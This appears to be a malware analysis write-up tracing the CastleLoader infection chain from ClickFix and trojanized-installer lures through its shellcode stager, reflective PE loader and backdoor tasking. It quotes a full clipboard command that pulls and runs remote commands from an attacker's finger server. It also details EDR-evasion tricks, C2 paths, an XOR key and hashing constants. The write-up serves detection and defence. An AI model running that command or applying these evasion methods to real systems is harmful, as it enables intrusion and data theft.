CastleLoader

CastleLoader campaigns operate across three converging lure surfaces. The dominant one is ClickFix-style social engineering. Victims arrive at a fake verification page through poisoned Google search results or malvertising. Documented themes include Cloudflare Turnstile imitations, fake DocuSign and Okta pages, fake browser update prompts, and (April 2026 onward) fake AI-powered "remove background" image-editing sites — the BackgroundFix campaign public malware analysis disclosed used eight related domains with the same template. Embedded JavaScript silently writes a malicious command to the clipboard via document.execCommand("copy") and pings a logging endpoint via navigator.sendBeacon, giving the operator telemetry on which visitors reach the paste step.

The second is fake GitHub repositories. Public reporting documents repositories impersonating SQL Server Management Studio libraries (SSMS-lib) and a client connector, targeting developers searching for trusted tooling and exploiting the assumption that GitHub-hosted means safe.

The third is SEO-poisoned trojanized installers. public reporting has documented weaponized SSMS installers and AMD Chipset driver packages served through fake download portals that outrank legitimate vendor pages. This route skips ClickFix entirely. The user clicks Download on what looks like a legitimate site and runs an installer that contains an embedded CastleLoader stager sideloaded via a signed binary plus tampered DLL — public malware analysis traces the Dave crypter handling that step in some campaigns.

The string placed on the clipboard varies across campaigns. The BackgroundFix variant public malware analysis documented in April 2026 is technically the most interesting because it skips PowerShell entirely:

%COMSPEC% /k start "" /min for /f "skip=8 delims=" %h in ('finger nrLeDHDESi@cheeshomireciple[.]com') do call %h & exit && echo ' ---Verify you are human--------press ENTER--- '

Four moving parts: start "" /min launches the next stage minimised so no console flashes on screen. finger.exe — a Windows binary shipping unchanged since NT — queries an attacker-controlled finger daemon on TCP port 79 at cheeshomireciple[.]com. The for /f "skip=8 delims=" drops the eight banner lines a typical finger daemon returns by default; line nine contains the actual command body, populated from the operator's ~/.plan file with world-readable permissions. call %h executes whatever that line contains as a fresh command. The terminal echo exists solely to display the "press ENTER" prompt the victim is expecting, completing the social-engineering theatre.

What comes back from finger is a batch script that downloads the legitimate Python Software Foundation embeddable distribution from python.org (renamed to a .pdf extension during download), extracts it with tar.exe, and invokes pythonw.exe against a Python stager. The stager unpacks itself in three layers — base64, zlib, UTF-32 — then fetches a second Python script that uses Cyrillic-to-Latin character substitution before its own base64 decode ('Ф' → '/', 'В' → 'R', and so on) to defeat naive string hunting. The final Python is a ctypes shellcode loader that calls HeapCreate(0x00040000) (HEAP_CREATE_ENABLE_EXECUTE) and HeapAlloc(0x00000008) (HEAP_ZERO_MEMORY) to produce an executable heap allocation in one step, then jumps to the decrypted shellcode via CFUNCTYPE.

Earlier campaigns documented by public campaign analysis used a PowerShell variant: Invoke-WebRequest downloading a GUID-named ZIP into %APPDATA%, Expand-Archive deflating it, and the dropped .au3 launched via the AutoIt3 interpreter packaged inside. Both deliver the same Stage-3 shellcode stager.

What runs next is not CastleLoader proper. It is a separate ~8.6 KB shellcode component public reporting calls the stager, designed to bootstrap the PE Loader and core backdoor without touching disk. Its first job is to build an API function table without using normal Windows imports.

The stager resolves APIs through PEB walking and DJB2 hashing (init 5381, multiply by 33, add each byte). It dereferences the PEB's loader data through InLoadOrderModuleList, walks each entry, converts the UNICODE module name to ASCII, and hashes it; the export resolver then walks AddressOfNames, hashing each, and looks up the corresponding RVA via AddressOfNameOrdinals and AddressOfFunctions.

The hash lookup has an unusual twist in the BackgroundFix variant. Rather than passing the target hash as a function argument, the resolver reads it from the upper 32 bits of the return address on the stack. Every call site pushes a single 64-bit literal where the low dword is the sentinel 0xFFFFFFFF and the high dword is the expected DJB2 hash. The resolver checks the low dword to confirm a real return address was pushed, then compares each export's hash against the high dword. This makes the hashes invisible to most string-pattern searches because they appear only as immediate values inside push instructions, not as data.

The stager then downloads two payloads via HTTP using Googlebot as its hardcoded User-Agent. public malware analysis documents URLs of the form http://<C2>/service/download/data_3x.bin and /data_4x.bin. Both are XOR-decrypted with a hardcoded UTF-16 string — in public reporting's sample, the key was GySDoSGySDoS. The decryption yields two artefacts: the embedded PE that becomes the core backdoor, and a shellcode stub that becomes the PE Loader. The stager then calls VirtualProtect to mark the loader region as PAGE_EXECUTE_READWRITE and hands it a pointer to the decrypted PE as its argument.

The BackgroundFix variant uses one additional evasion trick. Instead of jumping directly to the decrypted next-stage payload, the shellcode hands control to it through ReplaceTextW — the Windows Find-and-Replace dialog API from comdlg32.dll. The shellcode builds a FINDREPLACEW structure on the stack with FR_ENABLEHOOK set and lpfnHook pointing at the payload's entry. Windows calls the hook on WM_INITDIALOG before the dialog is ever rendered, so execution transfers without the obvious "shellcode jumps to its own buffer" pattern most EDRs watch for.

The decrypted CastleBot PE Loader is a fully-featured reflective PE loader. It begins by calling NtAllocateVirtualMemory directly rather than VirtualAlloc's wrapper — VirtualAlloc is among the most commonly hooked Win32 APIs, and going one level deeper bypasses those hooks entirely. It maps each PE section into the allocation, walks the relocation directory to fix absolute addresses, resolves imports via the same DJB2 hash mechanism the stager used, sets section memory protections, and executes any registered TLS callback functions.

The detection-defeating step is what comes next. The loader sets up a new LDR_DATA_TABLE_ENTRY structure and the corresponding LDR_DDAG_NODE (extended in Windows 8 and later) and adds them into the host process's PEB_LDR_DATA doubly-linked lists. To EDR agents enumerating loaded modules through the PEB, the injected PE looks indistinguishable from a DLL loaded by the normal Windows loader. Unless the injected file is a DLL, the loader also overwrites PEB.ImageBaseAddress with the new image's base — so subsequent GetModuleHandle(NULL) calls return the injected PE instead of the host process, which lets payloads that expect to be the main EXE find themselves correctly.

In a fallback path, if allocation at the embedded PE's preferred image base fails and the PE has no relocation directory, the loader calls NtUnmapViewOfSection directly (not UnmapViewOfFile) to evict whatever module is sitting at that address — a flavour of classic process hollowing. Most BackgroundFix infections do not exercise this path because the injection happens inside a freshly spawned python.exe where the preferred base is normally free. Where it does fire, the unmap target is whatever happens to be mapped at the preferred base inside the host process, not a separately spawned victim process.

The PE Loader hands control to the embedded PE by reading AddressOfEntryPoint from its optional header, adding it to the new image base, casting the result to a function pointer, and calling it. Execution leaves the loader and starts running inside the core backdoor.

The core backdoor is what most public reporting refers to as "CastleLoader" proper. It switches API resolution from DJB2 to a variant of the AP hash developed by Arash Partow (initial state 0xAAAAAAAA, even-index transform (state << 7) ^ (c * (state >> 3)), odd-index transform ~((state << 11) + (c ^ (state >> 5)))). The algorithm is distinct enough from the stager/loader hashing routine that a static unpacker built for one will not work on the other.

On startup, the core decrypts its embedded configuration. Almost all strings throughout the binary are stored as UTF-16 and decrypted inline via a unique 4-byte XOR key per string, not a single master key. The resulting config struct contains the campaign ID, the C2 base URL, the per-build access key (used both as User-Agent and as the access_key body field), the mutex / instance ID, the ChaCha20 key (32 bytes), and the ChaCha20 nonce (12 bytes).

The core creates a mutex named after the instance ID (single-instance gate per campaign on the host), then sends an unencrypted HTTP GET to http://<c2_base>/service/settings/<campaign_id>. The response is ChaCha20-encrypted and contains four operator-controlled flags:

• run_as_admin: re-launches the parent process via ShellExecuteW with the runas verb to obtain elevation
• anti_vm: issues the cpuid instruction with leaf 0x40000000 and checks for VMware or Parallels hypervisor signatures; exits if found
• prevent_restart: creates a hidden file at C:\ProgramData\<instance_id> as a reinfection marker; exits if the file already exists
• show_fake_error: displays a message box titled "System Error" reading "The program can't start because VCRUNTIME140.dll is missing from your computer. Try reinstalling the program to fix this problem."

The core then performs host enumeration — username (GetUserNameW), NetBIOS name (GetComputerNameW), local DNS domain (LsaQueryInformationPolicy), architecture (IsWow64Process), Windows version (RtlGetVersion), and a victim ID derived from the volume serial number via a linear congruential generator (multiplier 0x41C64E6D, addend 0x3039) — wraps it in the serialized container format alongside the access key and campaign identifier, ChaCha20-encrypts the whole thing, and POSTs it to /service/tasks.

The C2 response is a container holding zero or more task definitions. Each task has an id, a url to fetch the payload, an install_path (which may be empty for in-memory tasks, a real path, or the special value :SELF: meaning inject into a duplicate of the parent process), an argument field, encryption options (is_encrypted_container + container_encryption_key for RC4), persistence (startup_method = 1 registers a scheduled task via ITaskService COM with TASK_TRIGGER_LOGON), and the all-important launch_method field. The July 2025 update expanded launch methods from six to nine: EXE via CreateProcessW or ShellExecuteW (1), DLL via rundll (2), DLL via regsrv32.exe (3), DLL via LoadLibraryW (4), PE injection old mechanism (5), PE injection via the PE Loader using QueueUserAPC (6), PowerShell command (7), BAT command (8), MSI via msiexec.exe (9). A wow64_bypass flag forces 32-bit SysWOW64 binary execution.

Method 6 is the operationally significant addition. To bypass the memory integrity check added in Windows 11 24H2, the loader hooks NtManageHotPatch in ntdll memory using a public POC documented by Hasherezade, then uses QueueUserAPC + ResumeThread to transfer execution to the embedded PE Loader stub inside the target process. Compared to classic injection, this dramatically reduces the number of cross-process WriteProcessMemory calls and so leaves less behavioral signal.

Task completion is reported via HTTP GET to /service/tasks/complete/id/<task_id> on the same C2.